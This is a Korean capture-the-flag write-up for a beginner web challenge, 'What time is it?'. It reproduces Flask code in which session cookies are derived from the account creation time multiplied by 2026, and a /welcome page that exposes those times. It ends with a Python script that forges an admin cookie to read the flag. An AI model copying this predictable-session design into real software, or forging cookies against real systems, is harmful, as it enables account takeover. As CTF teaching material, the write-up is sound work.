문제 특징
가입시간으로 정해지는 Session 쿠키값
문제 이름: What time is it?
난이도: Lv.1
카테고리: 웹해킹
문제 구조
문제파일구성
1
2
3
4
5
6
7
8
9
10
/
├── app.py
├── Dockerfile
├── flag.txt
├── session.py
└── templates
├── index.html
├── login.html
├── register.html
└── welcome.html
dockerfile
1
2
3
4
5
6
7
8
9
10
11
12
FROM python:3.11-slim
WORKDIR /app
RUN pip install --no-cache-dir Flask==3.0.3
COPY app.py session.py ./
COPY templates ./templates
COPY flag.txt /flag.txt
EXPOSE 5001
CMD ["python", "app.py"]
도커 컨테이너에서 /app폴더를 만든 뒤에 모든 내용물을 복사하고, Flask 웹 프레임워크를 실행시키고 있다.
주요 코드
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
//app.py (일부)
import session as sess
FLAG = open("/flag.txt", "r", encoding="utf-8").read()
users = {}
welcome_feed = []
def add_user(username: str, pw: str, created_at: int):
users[username] = {"pw": pw, "created_at": created_at}
welcome_feed.append({"username": username, "created_at": created_at})
if "admin" not in users:
add_user("admin", "**REDACTED**", int(time.time()))
def current_user():
s = request.cookies.get("session", "")
parsed = sess.parse_session(s)
if not parsed:
return None
username, _ = parsed
u = users.get(username)
if not u:
return None
return sess.verify_session(s, u["created_at"])
@app.get("/")
def index():
uname = current_user()
return render_template("index.html", username=uname, is_admin=(uname == "admin"), flag=FLAG)
@app.route("/register", methods=["GET", "POST"])
def register():
if request.method == "GET":
return render_template("register.html")
username = request.form.get("username").strip()
pw = request.form.get("password")
if not username or not pw:
return redirect(url_for("register"))
if username in users:
return "Already exists"
created_at = int(time.time())
add_user(username, pw, created_at)
resp = make_response(redirect(url_for("welcome")))
resp.set_cookie("session", sess.make_session(username, created_at))
return resp
@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "GET":
return render_template("login.html")
username = request.form.get("username").strip()
pw = request.form.get("password")
u = users.get(username)
if not u or u["pw"] != pw:
return "fail"
resp = make_response(redirect(url_for("welcome")))
resp.set_cookie("session", sess.make_session(username, u["created_at"]))
return resp
@app.get("/welcome")
def welcome():
uname = current_user()
if not uname:
return redirect(url_for("login"))
feed = []
for row in welcome_feed:
e = row["created_at"]
dt = datetime.fromtimestamp(e, tz=timezone.utc).strftime("%d/%m/%Y, %H:%M:%S UTC")
feed.append({"username": row["username"], "created_at_str": dt})
return render_template("welcome.html", username=uname, users=feed)
username == admin 이라면 /주소에서 플래그를 얻을 수 있다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
//session.py
def make_session(username: str, created_at: int) -> str:
return f"{username}.{created_at * 2026}"
def parse_session(value: str):
if not value or "." not in value:
return None
username, token = value.split(".", 1)
username = username.strip()
token = token.strip()
if not username or not token:
return None
return username, token
def verify_session(value: str, created_at: int) -> str | None:
parsed = parse_session(value)
if not parsed:
return None
username, token = parsed
return username if token == str(created_at * 2026) else None
app.py와 session.py파일에서 계정을 생성시, 계정이 생성된 시간을 정수화하고 2026을 곱하여 세션 번호를 정하고, 쿠키에 유저명.세션번호 형식으로 session 쿠키를 저장하고 있음을 확인할 수 있다.
또한 parse_session() 함수와 verify_session 함수에서 session 쿠키 속 유저명과 세션번호가 일치한다면 정상적으로 해당 유저로 로그인이 가능함을 알 수 있다.
풀이
어드민의 계정이 만들어진 시간
어드민의 계정이 만들어진 시간을 알고 있다면 우리는 session 쿠키값을 직접 admin.int(어드민가입시간)으로 수정하여 플래그를 탈취할 수 있을 것이다. /welcome 주소에 접속 시, 모든 계정의 계정 생성 시간을 알 수 있으므로, 이 문제를 풀 수 있게 된다.
정답
파이썬을 이용한 플래그 탈취
1
2
3
4
5
6
7
8
9
10
11
12
import requests
from datetime import datetime, timezone
dt = datetime.strptime("26/03/2026, 07:52:48 UTC", "%d/%m/%Y, %H:%M:%S UTC")
dt = dt.replace(tzinfo=timezone.utc)
print(int(dt.timestamp()))
token = int(dt.timestamp()) * 2026
session = f"admin.{token}"
r = requests.get("http://문제주소/", cookies={"session": session})
print(r.text)
/welcome 주소에서 어드민의 계정이 생성된 시간을 복사해 위 코드에 넣으면 된다.